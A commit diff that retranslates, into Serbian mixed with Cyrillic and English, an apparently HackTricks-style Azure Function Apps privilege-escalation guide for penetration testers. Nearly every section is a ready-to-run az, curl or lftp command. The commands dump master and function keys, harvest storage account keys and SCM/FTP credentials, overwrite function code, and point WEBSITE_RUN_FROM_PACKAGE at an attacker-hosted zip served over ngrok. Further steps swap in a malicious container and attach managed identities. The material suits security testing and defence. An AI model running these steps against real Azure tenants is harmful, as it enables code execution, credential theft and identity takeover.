Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:16:14 +00:00
parent cc6832fc76
commit c83c949ca9
@@ -4,7 +4,7 @@
## Function Apps
Pogledajte sledeću stranicu za više informacija:
Pogledaj sledeću stranicu za više informacija:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Pogledajte sledeću stranicu za više informacija:
### Bucket Read/Write
Ako imate dozvole za čitanje containers unutar Storage Account koji čuva podatke Function, moguće je pronaći **različite containers** (prilagođene ili sa unapred određenim imenima) koje mogu sadržati **kod koji izvršava Function**.
Sa permisijama za čitanje container-a unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći **različite container-e** (custom ili sa unapred definisanim imenima) koji mogu da sadrže **code koji izvršava function**.
Kada pronađete gde je kod Function, ako imate dozvole za pisanje na njega možete naterati Function da izvrši bilo koji kod i eskalirate privilegije na managed identities pridružene Function.
Kada pronađeš gde se nalazi code funkcije, ako imaš write permisije nad njim, možeš naterati function da izvrši bilo koji code i eskaliraš privilegije do managed identities prikačenih na function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Kod Function je obično smešten u file share. Sa dovoljnim pristupom moguće je izmeniti fajl sa kodom i **naterati Function da učita proizvoljan kod**, što omogućava eskalaciju privilegija na managed identities pridružene Function.
Code funkcije se obično čuva unutar file share-a. Sa dovoljno pristupa moguće je izmeniti code fajl i **naterati function da učita proizvoljan code**, što omogućava eskalaciju privilegija do managed identities prikačenih na Function.
Ovaj metod deployment-a obično konfiguriše podešavanja **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti iz
Ovaj deployment method obično konfiguriše settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možeš dobiti iz
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Te konfiguracije sadrže **Storage Account Key** koji Function može koristiti za pristup kodu.
Ti konfiguracije će sadržati **Storage Account Key** koji Function može da koristi za pristup kodu.
> [!CAUTION]
> Sa dovoljnim dozvolama za povezivanje na File Share i **izmenom pokrenutog skripta**, moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.
> Sa dovoljno dozvola za povezivanje na File Share i **izmenu skripte** koja se izvršava, moguće je izvršiti proizvoljan code u Function i eskalirati privilegije.
Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da pogledate i sledeću stranicu za više informacija o file share-ovima:
Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da proverite i sledeću stranicu za više informacija o file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Takođe je uobičajeno pronaći zip izdanja unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u kontejneru koji je **obično nazvan `function-releases`**.
Takođe je uobičajeno pronaći **zip releases** unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u containeru **obično nazvanom `function-releases`**.
Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u:
Obično će ovaj metod deploy-a postaviti `WEBSITE_RUN_FROM_PACKAGE` config u:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
This config will usually contain a **SAS URL to download** the code from the Storage Account.
Ova konfiguracija će obično sadržati **SAS URL za preuzimanje** koda iz Storage Account-a.
> [!CAUTION]
> Sa dovoljnim privilegijama za povezivanje na blob container koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.
> Sa dovoljno permisija za povezivanje na blob container koji **sadrži code u zip-u** moguće je izvršiti arbitrary code u Function i eskalirati privilegije.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Baš kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions moguće je pronaći folder **`github-actions-deploy`** u Storage Account koji sadrži zip sa kodom i SAS URL ka zip-u u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
Kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions, moguće je pronaći folder **`github-actions-deploy`** u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Sa permisijama za čitanje containera unutar Storage Account koji čuva podatke funkcije moguće je pronaći container **`scm-releases`**. Tamo je moguće naći najnovije izdanje u **Squashfs filesystem file format** i shodno tome moguće je pročitati kod funkcije:
Sa permisijama za čitanje container-a unutar Storage Account-a koji čuva function data, moguće je pronaći container **`scm-releases`**. Tamo je moguće pronaći najnoviji release u **Squashfs filesystem file format** i zato je moguće pročitati code funkcije:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Takođe je moguće pronaći **master and functions keys** pohranjene u storage account-u, u containeru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`**, u JSON fajlovima koje tamo možete pronaći.
Takođe je moguće pronaći **master i functions keys** koji su sačuvani u storage account-u u container-u **`azure-webjobs-secrets`** unutar foldera **`<app-name>`** u JSON fajlovima koje tamo možete pronaći.
> [!CAUTION]
> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**), moguće je izvršiti proizvoljni kod u Function-u i eskalirati privilegije.
> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**) moguće je izvršiti arbitrary code u Function-u i eskalirati privilegije.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Ova dozvola omogućava да се излистају function, master и system keys, али не host key, за наведenu функцију помоћу:
Ова дозвола омогућава да се прикажу function, master и system keys, али не и host key, за наведenu function помоћу:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Sa master key-jem je takođe moguće dobiti izvorni kod u URL-u poput:
Sa master key-jem je takođe moguće dobiti source code na URL-u kao što je:
```bash
# Get "script_href" from
az rest --method GET \
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
I da **izmenite kod koji se izvršava** u funkciji sa:
I da **promeni kod koji se izvršava** u funkciji sa:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
Ova dozvola omogućava добијање подразумијеваног кључа за наведenu функцију помоћу:
Ово право омогућава да се добије default key, за наведену function помоћу:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Pozovite funkciju koristeći podrazumevani ključ koji ste dobili:
Pozovi funkciju koristeći dobijeni default key:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Ovo dopuštenje omogućava kreiranje/azuriranje ključa određene funkcije sa:
Ова дозвола омогућава креирање/ажурирање function key-ја наведенe функције са:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Ovo dopuštenje omogućava kreiranje/azuriranje master key-a za navedenu funkciju pomoću:
Ova dozvola omogućava kreiranje/ažuriranje master key za navedenu function sa:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Imajte na umu da pomoću ovog ključa možete takođe pristupiti izvornom kodu i izmeniti ga kao što je ranije objašnjeno!
> Zapamtite da sa ovim ključem takođe možete da pristupite izvornom kodu i izmenite ga, kao što je prethodno objašnjeno!
### `Microsoft.Web/sites/host/systemKeys/write`
Ova dozvola omogućava kreiranje/azuriranje sistemskog ključa funkcije za navedenu funkciju pomoću:
Ova dozvola omogućava kreiranje/ažuriranje system function key za navedenu funkciju sa:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Koristi ključ:
Upotrebite ključ:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
Ova dozvola omogućava pristup podešavanjima funkcije. U tim konfiguracijama može se naći podrazumevana vrednost **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koja sadrži **ključ naloga za pristup blob storage-a funkcije sa punim ovlašćenjima**.
Ova permission omogućava dobijanje settings za function. Unutar ovih konfiguracija možda je moguće pronaći default vrednosti **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koje sadrže **account key za pristup blob storage-u funkcije sa FULL permissions**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Štaviše, ova dozvola takođe omogućava dobijanje **SCM username and password** (ako je omogućeno) pomoću:
Štaviše, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i lozinke** (ako je omogućeno) pomoću:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Ove dozvole omogućavaju da se nabroje vrednosti konfiguracije funkcije, kao što smo ranije videli, i da se **izmenjuju te vrednosti**. Ovo je korisno zato što ova podešavanja ukazuju gde se nalazi kod koji se izvršava unutar funkcije.
Ove dozvole omogućavaju da se izlistaju config vrednosti funkcije kao što smo ranije videli, plus da se **izmene ove vrednosti**. Ovo je korisno zato što ova podešavanja pokazuju gde se nalazi code koji treba da se izvrši unutar funkcije.
Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip fajla koji sadrži novi kod koji će se izvršavati unutar web aplikacije:
Zbog toga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** tako da pokazuje na URL zip file koji sadrži novi code koji će se izvršavati unutar web application:
- Počnite tako što ćete preuzeti trenutnu konfiguraciju
- Start by getting the current config
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Napravite kod koji želite da funkcija izvršava i javno ga hostujte
- Napravi code koji želiš da function pokrene i hostuj ga javno
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -224,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip** fajlom koji sadrži kod.
- Izmeni funkciju, zadrži prethodne parametre i dodaj na kraj config **`WEBSITE_RUN_FROM_PACKAGE`** koji pokazuje na URL sa **zip** fajlom koji sadrži kod.
U nastavku je primer mojih **ličnih podešavanja (moraćete da promenite vrednosti za svoja)**; obratite pažnju na kraju na vrednost `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju.
Sledeći je primer mojih **sopstvenih settings koje ćeš morati da promeniš za svoje**, obrati pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, tu sam hostovao app.
```bash
# Modify the function
az rest --method PUT \
@@ -236,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Sa ovom dozvolom je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint):
Sa ovim permisijama je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -266,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Ova dozvola omogućava listanje svih publishing profila koji u suštini sadrže **basic auth credentials**:
Ova dozvola omogućava da se izlistaju svi publishing profili koji u osnovi sadrže **basic auth kredencijale**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Druga opcija je da postavite sopstvene kredencijale i koristite ih pomoću:
Druga opcija bi bila da postaviš sopstvene kredencijale i koristiš ih pomoću:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Ako su kredencijali **REDACTED**
- Ako su **REDACTED** kredencijali
Ako vidite da su ti kredencijali **REDACTED**, to je zato što morate **omogućiti opciju SCM basic authentication** i za to vam treba druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Ako vidiš da su ti kredencijali **REDACTED**, to je zato što **moraš da omogućiš SCM basic authentication opciju** i za to ti je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -304,26 +304,47 @@ az rest --method PUT \
```
- **Method SCM**
Zatim, možete pristupiti SCM URL-u vaše function app koristeći ove **basic auth credentials** i dobiti vrednosti env variables:
Zatim možete pristupiti sa ovim **basic auth credentials za SCM URL** vaše function app i dobiti vrednosti env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Imajte na umu da je **SCM username** obično znak "$" praćen imenom aplikacije, dakle: `$<app-name>`. _
Možete da preuzmete, izmenite i upload-ujete novi function code :
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
Takođe možete pristupiti web stranici na `https://<app-name>.scm.azurewebsites.net/BasicAuth`
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu nad tim storage account-om.
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Možete čak i da otpremite određenu datoteku :
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Napomena da je **SCM username** obično znak "$" praćen imenom app, dakle: `$<app-name>`._
Takođe možeš pristupiti web strani sa `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu tog storage account-a.
- **Method FTP**
Povežite se na FTP server koristeći:
Poveži se na FTP server koristeći:
```bash
# macOS install lftp
brew install lftp
@@ -337,19 +358,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Imajte na umu da je **FTP username** obično u formatu \<app-name>\\$\<app-name>._
_Напомена: **FTP username** је обично у формату \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Ova dozvola omogućava **čitanje izvornog koda** aplikacije preko VFS-a:
Ова permission омогућава да се **прочита source code** апликације кроз VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Sa ovom dozvolom moguće je [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i izmeniti kod funkcije.
Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i menjati kod funkcije.
Međutim, pri mojim poslednjim proverama nije vraćen nijedan token, tako da možda više nije omogućen ili ne radi, ali evo kako biste to uradili:
Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da je možda onemogućeno ili više ne radi, ali evo kako biste to uradili:
```bash
# Get admin token
az rest --method GET \
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Ova dozvola omogućava da se **omoguće funkcije** koje su možda onemogućene (ili da se onemoguće).
Ove permissions dozvoljavaju da se **enable functions** koje možda su disabled (ili da se disable-uju).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradama):
Takođe je moguće videti da li je function omogućen ili onemogućen na sledećem URL-u (koristeći permission u zagradi):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Sa ovim dozvolama moguće je **izmeniti kontejner koji pokreće function app** konfigurisan da pokreće kontejner. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera funkciju da ga izvrši.
Sa ovim dozvolama moguće je **izmeniti container koji pokreće function app** konfigurisan da radi u containeru. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera function da ga izvrši.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Sa ovim dozvolama je moguće **attach a new user managed identity to a function**. Ako je function kompromitovana, ovo bi omogućilo eskalaciju privilegija na bilo koji user managed identity.
Sa ovim permisijama moguće je **prikačiti novu user managed identity na function**. Ako je function bio kompromitovan, ovo bi omogućilo eskalaciju privilegija do bilo koje user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Daljinsko otklanjanje grešaka
### Remote Debugging
Takođe je moguće povezati se i debug-ovati pokrenutu Azure Function kao [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po defaultu Azure će ovu opciju isključiti nakon 2 dana ako developer zaboravi, kako bi se izbegle ranjive konfiguracije.
Takođe je moguće povezati se radi debugovanja pokrenute Azure function kao što je [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po difoltu Azure će isključiti ovu opciju nakon 2 dana, u slučaju da developer zaboravi, kako bi se izbeglo ostavljanje ranjivih konfiguracija.
Moguće je proveriti da li Function ima omogućeno debugovanje pomoću:
Moguće je proveriti da li je za Function omogućen debugging sa:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Ako imate dozvolu `Microsoft.Web/sites/config/write`, moguće je i staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`).
Имајући дозволу `Microsoft.Web/sites/config/write`, такође је могуће ставити function у debugging mode (следећа команда такође захтева дозволе `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` и `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Promena Github repozitorijuma
### Change Github repo
Pokušao sam da promenim Github repo sa kojeg se vrši deploying izvršavanjem sledećih komandi, ali čak i ako je promenjen, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\
Štaviše, **managed identity federated credential nije ažuriran** da dozvoli novi repozitorijum, pa izgleda da ovo nije naročito korisno.
Pokušao sam da promenim Github repo iz kog se vrši deployment tako što sam izvršio sledeće komande, ali čak i ako se to promenilo, **novi code nije učitan** (verovatno zato što očekuje da Github Action ažurira code).\
Pored toga, **managed identity federated credential nije bio ažuriran** da dozvoli novi repository, tako da izgleda da ovo nije baš korisno.
```bash
# Remove current
az functionapp deployment source delete \